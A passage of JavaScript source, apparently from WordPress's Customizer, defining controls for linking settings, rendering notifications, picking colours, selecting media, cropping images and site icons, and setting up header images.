			nodes.each( function () {
				var node = $( this ), name, setting;

				if ( node.data( 'customizeSettingLinked' ) ) {
					return;
				}
				node.data( 'customizeSettingLinked', true ); // Prevent re-linking element.

				if ( node.is( ':radio' ) ) {
					name = node.prop( 'name' );
					if ( radios[name] ) {
						return;
					}

					radios[name] = true;
					node = nodes.filter( '[name="' + name + '"]' );
				}

				// Let link by default refer to setting ID. If it doesn't exist, fallback to looking up by setting key.
				if ( node.data( 'customizeSettingLink' ) ) {
					setting = api( node.data( 'customizeSettingLink' ) );
				} else if ( node.data( 'customizeSettingKeyLink' ) ) {
					setting = control.settings[ node.data( 'customizeSettingKeyLink' ) ];
				}

				if ( setting ) {
					element = new api.Element( node );
					control.elements.push( element );
					element.sync( setting );
					element.set( setting() );
				}
			} );
		},

		/**
		 * Embed the control into the page.
		 */
		embed: function () {
			var control = this,
				inject;

			// Watch for changes to the section state.
			inject = function ( sectionId ) {
				var parentContainer;
				if ( ! sectionId ) { // @todo Allow a control to be embedded without a section, for instance a control embedded in the front end.
					return;
				}
				// Wait for the section to be registered.
				api.section( sectionId, function ( section ) {
					// Wait for the section to be ready/initialized.
					section.deferred.embedded.done( function () {
						parentContainer = ( section.contentContainer.is( 'ul' ) ) ? section.contentContainer : section.contentContainer.find( 'ul:first' );
						if ( ! control.container.parent().is( parentContainer ) ) {
							parentContainer.append( control.container );
						}
						control.renderContent();
						control.deferred.embedded.resolve();
					});
				});
			};
			control.section.bind( inject );
			inject( control.section.get() );
		},

		/**
		 * Triggered when the control's markup has been injected into the DOM.
		 *
		 * @return {void}
		 */
		ready: function() {
			var control = this, newItem;
			if ( 'dropdown-pages' === control.params.type && control.params.allow_addition ) {
				newItem = control.container.find( '.new-content-item' );
				newItem.hide(); // Hide in JS to preserve flex display when showing.
				control.container.on( 'click', '.add-new-toggle', function( e ) {
					$( e.currentTarget ).slideUp( 180 );
					newItem.slideDown( 180 );
					newItem.find( '.create-item-input' ).focus();
				});
				control.container.on( 'click', '.add-content', function() {
					control.addNewPage();
				});
				control.container.on( 'keydown', '.create-item-input', function( e ) {
					if ( 13 === e.which ) { // Enter.
						control.addNewPage();
					}
				});
			}
		},

		/**
		 * Get the element inside of a control's container that contains the validation error message.
		 *
		 * Control subclasses may override this to return the proper container to render notifications into.
		 * Injects the notification container for existing controls that lack the necessary container,
		 * including special handling for nav menu items and widgets.
		 *
		 * @since 4.6.0
		 * @return {jQuery} Setting validation message element.
		 */
		getNotificationsContainerElement: function() {
			var control = this, controlTitle, notificationsContainer;

			notificationsContainer = control.container.find( '.customize-control-notifications-container:first' );
			if ( notificationsContainer.length ) {
				return notificationsContainer;
			}

			notificationsContainer = $( '<div class="customize-control-notifications-container"></div>' );

			if ( control.container.hasClass( 'customize-control-nav_menu_item' ) ) {
				control.container.find( '.menu-item-settings:first' ).prepend( notificationsContainer );
			} else if ( control.container.hasClass( 'customize-control-widget_form' ) ) {
				control.container.find( '.widget-inside:first' ).prepend( notificationsContainer );
			} else {
				controlTitle = control.container.find( '.customize-control-title' );
				if ( controlTitle.length ) {
					controlTitle.after( notificationsContainer );
				} else {
					control.container.prepend( notificationsContainer );
				}
			}
			return notificationsContainer;
		},

		/**
		 * Set up notifications.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		setupNotifications: function() {
			var control = this, renderNotificationsIfVisible, onSectionAssigned;

			// Add setting notifications to the control notification.
			_.each( control.settings, function( setting ) {
				if ( ! setting.notifications ) {
					return;
				}
				setting.notifications.bind( 'add', function( settingNotification ) {
					var params = _.extend(
						{},
						settingNotification,
						{
							setting: setting.id
						}
					);
					control.notifications.add( new api.Notification( setting.id + ':' + settingNotification.code, params ) );
				} );
				setting.notifications.bind( 'remove', function( settingNotification ) {
					control.notifications.remove( setting.id + ':' + settingNotification.code );
				} );
			} );

			renderNotificationsIfVisible = function() {
				var sectionId = control.section();
				if ( ! sectionId || ( api.section.has( sectionId ) && api.section( sectionId ).expanded() ) ) {
					control.notifications.render();
				}
			};

			control.notifications.bind( 'rendered', function() {
				var notifications = control.notifications.get();
				control.container.toggleClass( 'has-notifications', 0 !== notifications.length );
				control.container.toggleClass( 'has-error', 0 !== _.where( notifications, { type: 'error' } ).length );
			} );

			onSectionAssigned = function( newSectionId, oldSectionId ) {
				if ( oldSectionId && api.section.has( oldSectionId ) ) {
					api.section( oldSectionId ).expanded.unbind( renderNotificationsIfVisible );
				}
				if ( newSectionId ) {
					api.section( newSectionId, function( section ) {
						section.expanded.bind( renderNotificationsIfVisible );
						renderNotificationsIfVisible();
					});
				}
			};

			control.section.bind( onSectionAssigned );
			onSectionAssigned( control.section.get() );
			control.notifications.bind( 'change', _.debounce( renderNotificationsIfVisible ) );
		},

		/**
		 * Render notifications.
		 *
		 * Renders the `control.notifications` into the control's container.
		 * Control subclasses may override this method to do their own handling
		 * of rendering notifications.
		 *
		 * @deprecated in favor of `control.notifications.render()`
		 * @since 4.6.0
		 * @this {wp.customize.Control}
		 */
		renderNotifications: function() {
			var control = this, container, notifications, hasError = false;

			if ( 'undefined' !== typeof console && console.warn ) {
				console.warn( '[DEPRECATED] wp.customize.Control.prototype.renderNotifications() is deprecated in favor of instantating a wp.customize.Notifications and calling its render() method.' );
			}

			container = control.getNotificationsContainerElement();
			if ( ! container || ! container.length ) {
				return;
			}
			notifications = [];
			control.notifications.each( function( notification ) {
				notifications.push( notification );
				if ( 'error' === notification.type ) {
					hasError = true;
				}
			} );

			if ( 0 === notifications.length ) {
				container.stop().slideUp( 'fast' );
			} else {
				container.stop().slideDown( 'fast', null, function() {
					$( this ).css( 'height', 'auto' );
				} );
			}

			if ( ! control.notificationsTemplate ) {
				control.notificationsTemplate = wp.template( 'customize-control-notifications' );
			}

			control.container.toggleClass( 'has-notifications', 0 !== notifications.length );
			control.container.toggleClass( 'has-error', hasError );
			container.empty().append(
				control.notificationsTemplate( { notifications: notifications, altNotice: Boolean( control.altNotice ) } ).trim()
			);
		},

		/**
		 * Normal controls do not expand, so just expand its parent
		 *
		 * @param {Object} [params]
		 */
		expand: function ( params ) {
			api.section( this.section() ).expand( params );
		},

		/*
		 * Documented using @borrows in the constructor.
		 */
		focus: focus,

		/**
		 * Update UI in response to a change in the control's active state.
		 * This does not change the active state, it merely handles the behavior
		 * for when it does change.
		 *
		 * @since 4.1.0
		 *
		 * @param {boolean}  active
		 * @param {Object}   args
		 * @param {number}   args.duration
		 * @param {Function} args.completeCallback
		 */
		onChangeActive: function ( active, args ) {
			if ( args.unchanged ) {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
				return;
			}

			if ( ! $.contains( document, this.container[0] ) ) {
				// jQuery.fn.slideUp is not hiding an element if it is not in the DOM.
				this.container.toggle( active );
				if ( args.completeCallback ) {
					args.completeCallback();
				}
			} else if ( active ) {
				this.container.slideDown( args.duration, args.completeCallback );
			} else {
				this.container.slideUp( args.duration, args.completeCallback );
			}
		},

		/**
		 * @deprecated 4.1.0 Use this.onChangeActive() instead.
		 */
		toggle: function ( active ) {
			return this.onChangeActive( active, this.defaultActiveArguments );
		},

		/*
		 * Documented using @borrows in the constructor
		 */
		activate: Container.prototype.activate,

		/*
		 * Documented using @borrows in the constructor
		 */
		deactivate: Container.prototype.deactivate,

		/*
		 * Documented using @borrows in the constructor
		 */
		_toggleActive: Container.prototype._toggleActive,

		// @todo This function appears to be dead code and can be removed.
		dropdownInit: function() {
			var control      = this,
				statuses     = this.container.find('.dropdown-status'),
				params       = this.params,
				toggleFreeze = false,
				update       = function( to ) {
					if ( 'string' === typeof to && params.statuses && params.statuses[ to ] ) {
						statuses.html( params.statuses[ to ] ).show();
					} else {
						statuses.hide();
					}
				};

			// Support the .dropdown class to open/close complex elements.
			this.container.on( 'click keydown', '.dropdown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}

				event.preventDefault();

				if ( ! toggleFreeze ) {
					control.container.toggleClass( 'open' );
				}

				if ( control.container.hasClass( 'open' ) ) {
					control.container.parent().parent().find( 'li.library-selected' ).focus();
				}

				// Don't want to fire focus and click at same time.
				toggleFreeze = true;
				setTimeout(function () {
					toggleFreeze = false;
				}, 400);
			});

			this.setting.bind( update );
			update( this.setting() );
		},

		/**
		 * Render the control from its JS template, if it exists.
		 *
		 * The control's container must already exist in the DOM.
		 *
		 * @since 4.1.0
		 */
		renderContent: function () {
			var control = this, template, standardTypes, templateId, sectionId;

			standardTypes = [
				'button',
				'checkbox',
				'date',
				'datetime-local',
				'email',
				'month',
				'number',
				'password',
				'radio',
				'range',
				'search',
				'select',
				'tel',
				'time',
				'text',
				'textarea',
				'week',
				'url'
			];

			templateId = control.templateSelector;

			// Use default content template when a standard HTML type is used,
			// there isn't a more specific template existing, and the control container is empty.
			if ( templateId === 'customize-control-' + control.params.type + '-content' &&
				_.contains( standardTypes, control.params.type ) &&
				! document.getElementById( 'tmpl-' + templateId ) &&
				0 === control.container.children().length )
			{
				templateId = 'customize-control-default-content';
			}

			// Replace the container element's content with the control.
			if ( document.getElementById( 'tmpl-' + templateId ) ) {
				template = wp.template( templateId );
				if ( template && control.container ) {
					control.container.html( template( control.params ) );
				}
			}

			// Re-render notifications after content has been re-rendered.
			control.notifications.container = control.getNotificationsContainerElement();
			sectionId = control.section();
			if ( ! sectionId || ( api.section.has( sectionId ) && api.section( sectionId ).expanded() ) ) {
				control.notifications.render();
			}
		},

		/**
		 * Add a new page to a dropdown-pages control reusing menus code for this.
		 *
		 * @since 4.7.0
		 * @access private
		 *
		 * @return {void}
		 */
		addNewPage: function () {
			var control = this, promise, toggle, container, input, title, select;

			if ( 'dropdown-pages' !== control.params.type || ! control.params.allow_addition || ! api.Menus ) {
				return;
			}

			toggle = control.container.find( '.add-new-toggle' );
			container = control.container.find( '.new-content-item' );
			input = control.container.find( '.create-item-input' );
			title = input.val();
			select = control.container.find( 'select' );

			if ( ! title ) {
				input.addClass( 'invalid' );
				return;
			}

			input.removeClass( 'invalid' );
			input.attr( 'disabled', 'disabled' );

			// The menus functions add the page, publish when appropriate,
			// and also add the new page to the dropdown-pages controls.
			promise = api.Menus.insertAutoDraftPost( {
				post_title: title,
				post_type: 'page'
			} );
			promise.done( function( data ) {
				var availableItem, $content, itemTemplate;

				// Prepare the new page as an available menu item.
				// See api.Menus.submitNew().
				availableItem = new api.Menus.AvailableItemModel( {
					'id': 'post-' + data.post_id, // Used for available menu item Backbone models.
					'title': title,
					'type': 'post_type',
					'type_label': api.Menus.data.l10n.page_label,
					'object': 'page',
					'object_id': data.post_id,
					'url': data.url
				} );

				// Add the new item to the list of available menu items.
				api.Menus.availableMenuItemsPanel.collection.add( availableItem );
				$content = $( '#available-menu-items-post_type-page' ).find( '.available-menu-items-list' );
				itemTemplate = wp.template( 'available-menu-item' );
				$content.prepend( itemTemplate( availableItem.attributes ) );

				// Focus the select control.
				select.focus();
				control.setting.set( String( data.post_id ) ); // Triggers a preview refresh and updates the setting.

				// Reset the create page form.
				container.slideUp( 180 );
				toggle.slideDown( 180 );
			} );
			promise.always( function() {
				input.val( '' ).removeAttr( 'disabled' );
			} );
		}
	});

	/**
	 * A colorpicker control.
	 *
	 * @class    wp.customize.ColorControl
	 * @augments wp.customize.Control
	 */
	api.ColorControl = api.Control.extend(/** @lends wp.customize.ColorControl.prototype */{
		ready: function() {
			var control = this,
				isHueSlider = this.params.mode === 'hue',
				updating = false,
				picker;

			if ( isHueSlider ) {
				picker = this.container.find( '.color-picker-hue' );
				picker.val( control.setting() ).wpColorPicker({
					change: function( event, ui ) {
						updating = true;
						control.setting( ui.color.h() );
						updating = false;
					}
				});
			} else {
				picker = this.container.find( '.color-picker-hex' );
				picker.val( control.setting() ).wpColorPicker({
					change: function() {
						updating = true;
						control.setting.set( picker.wpColorPicker( 'color' ) );
						updating = false;
					},
					clear: function() {
						updating = true;
						control.setting.set( '' );
						updating = false;
					}
				});
			}

			control.setting.bind( function ( value ) {
				// Bail if the update came from the control itself.
				if ( updating ) {
					return;
				}
				picker.val( value );
				picker.wpColorPicker( 'color', value );
			} );

			// Collapse color picker when hitting Esc instead of collapsing the current section.
			control.container.on( 'keydown', function( event ) {
				var pickerContainer;
				if ( 27 !== event.which ) { // Esc.
					return;
				}
				pickerContainer = control.container.find( '.wp-picker-container' );
				if ( pickerContainer.hasClass( 'wp-picker-active' ) ) {
					picker.wpColorPicker( 'close' );
					control.container.find( '.wp-color-result' ).focus();
					event.stopPropagation(); // Prevent section from being collapsed.
				}
			} );
		}
	});

	/**
	 * A control that implements the media modal.
	 *
	 * @class    wp.customize.MediaControl
	 * @augments wp.customize.Control
	 */
	api.MediaControl = api.Control.extend(/** @lends wp.customize.MediaControl.prototype */{

		/**
		 * When the control's DOM structure is ready,
		 * set up internal event bindings.
		 */
		ready: function() {
			var control = this;
			// Shortcut so that we don't have to use _.bind every time we add a callback.
			_.bindAll( control, 'restoreDefault', 'removeFile', 'openFrame', 'select', 'pausePlayer' );

			// Bind events, with delegation to facilitate re-rendering.
			control.container.on( 'click keydown', '.upload-button', control.openFrame );
			control.container.on( 'click keydown', '.upload-button', control.pausePlayer );
			control.container.on( 'click keydown', '.thumbnail-image img', control.openFrame );
			control.container.on( 'click keydown', '.default-button', control.restoreDefault );
			control.container.on( 'click keydown', '.remove-button', control.pausePlayer );
			control.container.on( 'click keydown', '.remove-button', control.removeFile );
			control.container.on( 'click keydown', '.remove-button', control.cleanupPlayer );

			// Resize the player controls when it becomes visible (ie when section is expanded).
			api.section( control.section() ).container
				.on( 'expanded', function() {
					if ( control.player ) {
						control.player.setControlsSize();
					}
				})
				.on( 'collapsed', function() {
					control.pausePlayer();
				});

			/**
			 * Set attachment data and render content.
			 *
			 * Note that BackgroundImage.prototype.ready applies this ready method
			 * to itself. Since BackgroundImage is an UploadControl, the value
			 * is the attachment URL instead of the attachment ID. In this case
			 * we skip fetching the attachment data because we have no ID available,
			 * and it is the responsibility of the UploadControl to set the control's
			 * attachmentData before calling the renderContent method.
			 *
			 * @param {number|string} value Attachment
			 */
			function setAttachmentDataAndRenderContent( value ) {
				var hasAttachmentData = $.Deferred();

				if ( control.extended( api.UploadControl ) ) {
					hasAttachmentData.resolve();
				} else {
					value = parseInt( value, 10 );
					if ( _.isNaN( value ) || value <= 0 ) {
						delete control.params.attachment;
						hasAttachmentData.resolve();
					} else if ( control.params.attachment && control.params.attachment.id === value ) {
						hasAttachmentData.resolve();
					}
				}

				// Fetch the attachment data.
				if ( 'pending' === hasAttachmentData.state() ) {
					wp.media.attachment( value ).fetch().done( function() {
						control.params.attachment = this.attributes;
						hasAttachmentData.resolve();

						// Send attachment information to the preview for possible use in `postMessage` transport.
						wp.customize.previewer.send( control.setting.id + '-attachment-data', this.attributes );
					} );
				}

				hasAttachmentData.done( function() {
					control.renderContent();
				} );
			}

			// Ensure attachment data is initially set (for dynamically-instantiated controls).
			setAttachmentDataAndRenderContent( control.setting() );

			// Update the attachment data and re-render the control when the setting changes.
			control.setting.bind( setAttachmentDataAndRenderContent );
		},

		pausePlayer: function () {
			this.player && this.player.pause();
		},

		cleanupPlayer: function () {
			this.player && wp.media.mixin.removePlayer( this.player );
		},

		/**
		 * Open the media modal.
		 */
		openFrame: function( event ) {
			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
				return;
			}

			event.preventDefault();

			if ( ! this.frame ) {
				this.initFrame();
			}

			this.frame.open();
		},

		/**
		 * Create a media modal select frame, and store it so the instance can be reused when needed.
		 */
		initFrame: function() {
			this.frame = wp.media({
				button: {
					text: this.params.button_labels.frame_button
				},
				states: [
					new wp.media.controller.Library({
						title:     this.params.button_labels.frame_title,
						library:   wp.media.query({ type: this.params.mime_type }),
						multiple:  false,
						date:      false
					})
				]
			});

			// When a file is selected, run a callback.
			this.frame.on( 'select', this.select );
		},

		/**
		 * Callback handler for when an attachment is selected in the media modal.
		 * Gets the selected image information, and sets it within the control.
		 */
		select: function() {
			// Get the attachment from the modal frame.
			var node,
				attachment = this.frame.state().get( 'selection' ).first().toJSON(),
				mejsSettings = window._wpmejsSettings || {};

			this.params.attachment = attachment;

			// Set the Customizer setting; the callback takes care of rendering.
			this.setting( attachment.id );
			node = this.container.find( 'audio, video' ).get(0);

			// Initialize audio/video previews.
			if ( node ) {
				this.player = new MediaElementPlayer( node, mejsSettings );
			} else {
				this.cleanupPlayer();
			}
		},

		/**
		 * Reset the setting to the default value.
		 */
		restoreDefault: function( event ) {
			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
				return;
			}
			event.preventDefault();

			this.params.attachment = this.params.defaultAttachment;
			this.setting( this.params.defaultAttachment.url );
		},

		/**
		 * Called when the "Remove" link is clicked. Empties the setting.
		 *
		 * @param {Object} event jQuery Event object
		 */
		removeFile: function( event ) {
			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
				return;
			}
			event.preventDefault();

			this.params.attachment = {};
			this.setting( '' );
			this.renderContent(); // Not bound to setting change when emptying.
		}
	});

	/**
	 * An upload control, which utilizes the media modal.
	 *
	 * @class    wp.customize.UploadControl
	 * @augments wp.customize.MediaControl
	 */
	api.UploadControl = api.MediaControl.extend(/** @lends wp.customize.UploadControl.prototype */{

		/**
		 * Callback handler for when an attachment is selected in the media modal.
		 * Gets the selected image information, and sets it within the control.
		 */
		select: function() {
			// Get the attachment from the modal frame.
			var node,
				attachment = this.frame.state().get( 'selection' ).first().toJSON(),
				mejsSettings = window._wpmejsSettings || {};

			this.params.attachment = attachment;

			// Set the Customizer setting; the callback takes care of rendering.
			this.setting( attachment.url );
			node = this.container.find( 'audio, video' ).get(0);

			// Initialize audio/video previews.
			if ( node ) {
				this.player = new MediaElementPlayer( node, mejsSettings );
			} else {
				this.cleanupPlayer();
			}
		},

		// @deprecated
		success: function() {},

		// @deprecated
		removerVisibility: function() {}
	});

	/**
	 * A control for uploading images.
	 *
	 * This control no longer needs to do anything more
	 * than what the upload control does in JS.
	 *
	 * @class    wp.customize.ImageControl
	 * @augments wp.customize.UploadControl
	 */
	api.ImageControl = api.UploadControl.extend(/** @lends wp.customize.ImageControl.prototype */{
		// @deprecated
		thumbnailSrc: function() {}
	});

	/**
	 * A control for uploading background images.
	 *
	 * @class    wp.customize.BackgroundControl
	 * @augments wp.customize.UploadControl
	 */
	api.BackgroundControl = api.UploadControl.extend(/** @lends wp.customize.BackgroundControl.prototype */{

		/**
		 * When the control's DOM structure is ready,
		 * set up internal event bindings.
		 */
		ready: function() {
			api.UploadControl.prototype.ready.apply( this, arguments );
		},

		/**
		 * Callback handler for when an attachment is selected in the media modal.
		 * Does an additional Ajax request for setting the background context.
		 */
		select: function() {
			api.UploadControl.prototype.select.apply( this, arguments );

			wp.ajax.post( 'custom-background-add', {
				nonce: _wpCustomizeBackground.nonces.add,
				wp_customize: 'on',
				customize_theme: api.settings.theme.stylesheet,
				attachment_id: this.params.attachment.id
			} );
		}
	});

	/**
	 * A control for positioning a background image.
	 *
	 * @since 4.7.0
	 *
	 * @class    wp.customize.BackgroundPositionControl
	 * @augments wp.customize.Control
	 */
	api.BackgroundPositionControl = api.Control.extend(/** @lends wp.customize.BackgroundPositionControl.prototype */{

		/**
		 * Set up control UI once embedded in DOM and settings are created.
		 *
		 * @since 4.7.0
		 * @access public
		 */
		ready: function() {
			var control = this, updateRadios;

			control.container.on( 'change', 'input[name="background-position"]', function() {
				var position = $( this ).val().split( ' ' );
				control.settings.x( position[0] );
				control.settings.y( position[1] );
			} );

			updateRadios = _.debounce( function() {
				var x, y, radioInput, inputValue;
				x = control.settings.x.get();
				y = control.settings.y.get();
				inputValue = String( x ) + ' ' + String( y );
				radioInput = control.container.find( 'input[name="background-position"][value="' + inputValue + '"]' );
				radioInput.trigger( 'click' );
			} );
			control.settings.x.bind( updateRadios );
			control.settings.y.bind( updateRadios );

			updateRadios(); // Set initial UI.
		}
	} );

	/**
	 * A control for selecting and cropping an image.
	 *
	 * @class    wp.customize.CroppedImageControl
	 * @augments wp.customize.MediaControl
	 */
	api.CroppedImageControl = api.MediaControl.extend(/** @lends wp.customize.CroppedImageControl.prototype */{

		/**
		 * Open the media modal to the library state.
		 */
		openFrame: function( event ) {
			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
				return;
			}

			this.initFrame();
			this.frame.setState( 'library' ).open();
		},

		/**
		 * Create a media modal select frame, and store it so the instance can be reused when needed.
		 */
		initFrame: function() {
			var l10n = _wpMediaViewsL10n;

			this.frame = wp.media({
				button: {
					text: l10n.select,
					close: false
				},
				states: [
					new wp.media.controller.Library({
						title: this.params.button_labels.frame_title,
						library: wp.media.query({ type: 'image' }),
						multiple: false,
						date: false,
						priority: 20,
						suggestedWidth: this.params.width,
						suggestedHeight: this.params.height
					}),
					new wp.media.controller.CustomizeImageCropper({
						imgSelectOptions: this.calculateImageSelectOptions,
						control: this
					})
				]
			});

			this.frame.on( 'select', this.onSelect, this );
			this.frame.on( 'cropped', this.onCropped, this );
			this.frame.on( 'skippedcrop', this.onSkippedCrop, this );
		},

		/**
		 * After an image is selected in the media modal, switch to the cropper
		 * state if the image isn't the right size.
		 */
		onSelect: function() {
			var attachment = this.frame.state().get( 'selection' ).first().toJSON();

			if ( this.params.width === attachment.width && this.params.height === attachment.height && ! this.params.flex_width && ! this.params.flex_height ) {
				this.setImageFromAttachment( attachment );
				this.frame.close();
			} else {
				this.frame.setState( 'cropper' );
			}
		},

		/**
		 * After the image has been cropped, apply the cropped image data to the setting.
		 *
		 * @param {Object} croppedImage Cropped attachment data.
		 */
		onCropped: function( croppedImage ) {
			this.setImageFromAttachment( croppedImage );
		},

		/**
		 * Returns a set of options, computed from the attached image data and
		 * control-specific data, to be fed to the imgAreaSelect plugin in
		 * wp.media.view.Cropper.
		 *
		 * @param {wp.media.model.Attachment} attachment
		 * @param {wp.media.controller.Cropper} controller
		 * @return {Object} Options
		 */
		calculateImageSelectOptions: function( attachment, controller ) {
			var control    = controller.get( 'control' ),
				flexWidth  = !! parseInt( control.params.flex_width, 10 ),
				flexHeight = !! parseInt( control.params.flex_height, 10 ),
				realWidth  = attachment.get( 'width' ),
				realHeight = attachment.get( 'height' ),
				xInit = parseInt( control.params.width, 10 ),
				yInit = parseInt( control.params.height, 10 ),
				ratio = xInit / yInit,
				xImg  = xInit,
				yImg  = yInit,
				x1, y1, imgSelectOptions;

			controller.set( 'canSkipCrop', ! control.mustBeCropped( flexWidth, flexHeight, xInit, yInit, realWidth, realHeight ) );

			if ( realWidth / realHeight > ratio ) {
				yInit = realHeight;
				xInit = yInit * ratio;
			} else {
				xInit = realWidth;
				yInit = xInit / ratio;
			}

			x1 = ( realWidth - xInit ) / 2;
			y1 = ( realHeight - yInit ) / 2;

			imgSelectOptions = {
				handles: true,
				keys: true,
				instance: true,
				persistent: true,
				imageWidth: realWidth,
				imageHeight: realHeight,
				minWidth: xImg > xInit ? xInit : xImg,
				minHeight: yImg > yInit ? yInit : yImg,
				x1: x1,
				y1: y1,
				x2: xInit + x1,
				y2: yInit + y1
			};

			if ( flexHeight === false && flexWidth === false ) {
				imgSelectOptions.aspectRatio = xInit + ':' + yInit;
			}

			if ( true === flexHeight ) {
				delete imgSelectOptions.minHeight;
				imgSelectOptions.maxWidth = realWidth;
			}

			if ( true === flexWidth ) {
				delete imgSelectOptions.minWidth;
				imgSelectOptions.maxHeight = realHeight;
			}

			return imgSelectOptions;
		},

		/**
		 * Return whether the image must be cropped, based on required dimensions.
		 *
		 * @param {boolean} flexW
		 * @param {boolean} flexH
		 * @param {number}  dstW
		 * @param {number}  dstH
		 * @param {number}  imgW
		 * @param {number}  imgH
		 * @return {boolean}
		 */
		mustBeCropped: function( flexW, flexH, dstW, dstH, imgW, imgH ) {
			if ( true === flexW && true === flexH ) {
				return false;
			}

			if ( true === flexW && dstH === imgH ) {
				return false;
			}

			if ( true === flexH && dstW === imgW ) {
				return false;
			}

			if ( dstW === imgW && dstH === imgH ) {
				return false;
			}

			if ( imgW <= dstW ) {
				return false;
			}

			return true;
		},

		/**
		 * If cropping was skipped, apply the image data directly to the setting.
		 */
		onSkippedCrop: function() {
			var attachment = this.frame.state().get( 'selection' ).first().toJSON();
			this.setImageFromAttachment( attachment );
		},

		/**
		 * Updates the setting and re-renders the control UI.
		 *
		 * @param {Object} attachment
		 */
		setImageFromAttachment: function( attachment ) {
			this.params.attachment = attachment;

			// Set the Customizer setting; the callback takes care of rendering.
			this.setting( attachment.id );
		}
	});

	/**
	 * A control for selecting and cropping Site Icons.
	 *
	 * @class    wp.customize.SiteIconControl
	 * @augments wp.customize.CroppedImageControl
	 */
	api.SiteIconControl = api.CroppedImageControl.extend(/** @lends wp.customize.SiteIconControl.prototype */{

		/**
		 * Create a media modal select frame, and store it so the instance can be reused when needed.
		 */
		initFrame: function() {
			var l10n = _wpMediaViewsL10n;

			this.frame = wp.media({
				button: {
					text: l10n.select,
					close: false
				},
				states: [
					new wp.media.controller.Library({
						title: this.params.button_labels.frame_title,
						library: wp.media.query({ type: 'image' }),
						multiple: false,
						date: false,
						priority: 20,
						suggestedWidth: this.params.width,
						suggestedHeight: this.params.height
					}),
					new wp.media.controller.SiteIconCropper({
						imgSelectOptions: this.calculateImageSelectOptions,
						control: this
					})
				]
			});

			this.frame.on( 'select', this.onSelect, this );
			this.frame.on( 'cropped', this.onCropped, this );
			this.frame.on( 'skippedcrop', this.onSkippedCrop, this );
		},

		/**
		 * After an image is selected in the media modal, switch to the cropper
		 * state if the image isn't the right size.
		 */
		onSelect: function() {
			var attachment = this.frame.state().get( 'selection' ).first().toJSON(),
				controller = this;

			if ( this.params.width === attachment.width && this.params.height === attachment.height && ! this.params.flex_width && ! this.params.flex_height ) {
				wp.ajax.post( 'crop-image', {
					nonce: attachment.nonces.edit,
					id: attachment.id,
					context: 'site-icon',
					cropDetails: {
						x1: 0,
						y1: 0,
						width: this.params.width,
						height: this.params.height,
						dst_width: this.params.width,
						dst_height: this.params.height
					}
				} ).done( function( croppedImage ) {
					controller.setImageFromAttachment( croppedImage );
					controller.frame.close();
				} ).fail( function() {
					controller.frame.trigger('content:error:crop');
				} );
			} else {
				this.frame.setState( 'cropper' );
			}
		},

		/**
		 * Updates the setting and re-renders the control UI.
		 *
		 * @param {Object} attachment
		 */
		setImageFromAttachment: function( attachment ) {
			var sizes = [ 'site_icon-32', 'thumbnail', 'full' ], link,
				icon;

			_.each( sizes, function( size ) {
				if ( ! icon && ! _.isUndefined ( attachment.sizes[ size ] ) ) {
					icon = attachment.sizes[ size ];
				}
			} );

			this.params.attachment = attachment;

			// Set the Customizer setting; the callback takes care of rendering.
			this.setting( attachment.id );

			if ( ! icon ) {
				return;
			}

			// Update the icon in-browser.
			link = $( 'link[rel="icon"][sizes="32x32"]' );
			link.attr( 'href', icon.url );
		},

		/**
		 * Called when the "Remove" link is clicked. Empties the setting.
		 *
		 * @param {Object} event jQuery Event object
		 */
		removeFile: function( event ) {
			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
				return;
			}
			event.preventDefault();

			this.params.attachment = {};
			this.setting( '' );
			this.renderContent(); // Not bound to setting change when emptying.
			$( 'link[rel="icon"][sizes="32x32"]' ).attr( 'href', '/favicon.ico' ); // Set to default.
		}
	});

	/**
	 * @class    wp.customize.HeaderControl
	 * @augments wp.customize.Control
	 */
	api.HeaderControl = api.Control.extend(/** @lends wp.customize.HeaderControl.prototype */{
		ready: function() {
			this.btnRemove = $('#customize-control-header_image .actions .remove');
			this.btnNew    = $('#customize-control-header_image .actions .new');

			_.bindAll(this, 'openMedia', 'removeImage');

			this.btnNew.on( 'click', this.openMedia );
			this.btnRemove.on( 'click', this.removeImage );

			api.HeaderTool.currentHeader = this.getInitialHeaderImage();

			new api.HeaderTool.CurrentView({
				model: api.HeaderTool.currentHeader,
				el: '#customize-control-header_image .current .container'
			});

			new api.HeaderTool.ChoiceListView({
				collection: api.HeaderTool.UploadsList = new api.HeaderTool.ChoiceList(),
				el: '#customize-control-header_image .choices .uploaded .list'
			});

			new api.HeaderTool.ChoiceListView({
				collection: api.HeaderTool.DefaultsList = new api.HeaderTool.DefaultsList(),
				el: '#customize-control-header_image .choices .default .list'
			});

			api.HeaderTool.combinedList = api.HeaderTool.CombinedList = new api.HeaderTool.CombinedList([
				api.HeaderTool.UploadsList,
				api.HeaderTool.DefaultsList
			]);

			// Ensure custom-header-crop Ajax requests bootstrap the Customizer to activate the previewed theme.
			wp.media.controller.Cropper.prototype.defaults.doCropArgs.wp_customize = 'on';
			wp.media.controller.Cropper.prototype.defaults.doCropArgs.customize_theme = api.settings.theme.stylesheet;
		},

		/**
		 * Returns a new instance of api.HeaderTool.ImageModel based on the currently
		 * saved header image (if any).
		 *
		 * @since 4.2.0
		 *
		 * @return {Object} Options
		 */
		getInitialHeaderImage: function() {
			if ( ! api.get().header_image || ! api.get().header_image_data || _.contains( [ 'remove-header', 'random-default-image', 'random-uploaded-image' ], api.get().header_image ) ) {
				return new api.HeaderTool.ImageModel();
			}

			// Get the matching uploaded image object.
			var currentHeaderObject = _.find( _wpCustomizeHeader.uploads, function( imageObj ) {
				return ( imageObj.attachment_id === api.get().header_image_data.attachment_id );
			} );
			// Fall back to raw current header image.
			if ( ! currentHeaderObject ) {
				currentHeaderObject = {
					url: api.get().header_image,
					thumbnail_url: api.get().header_image,
					attachment_id: api.get().header_image_data.attachment_id
				};
			}

			return new api.HeaderTool.ImageModel({
				header: currentHeaderObject,
				choice: currentHeaderObject.url.split( '/' ).pop()
			});
		},

		/**
		 * Returns a set of options, computed from the attached image data and
		 * theme-specific data, to be fed to the imgAreaSelect plugin in
		 * wp.media.view.Cropper.
		 *
		 * @param {wp.media.model.Attachment} attachment
		 * @param {wp.media.controller.Cropper} controller
		 * @return {Object} Options
		 */
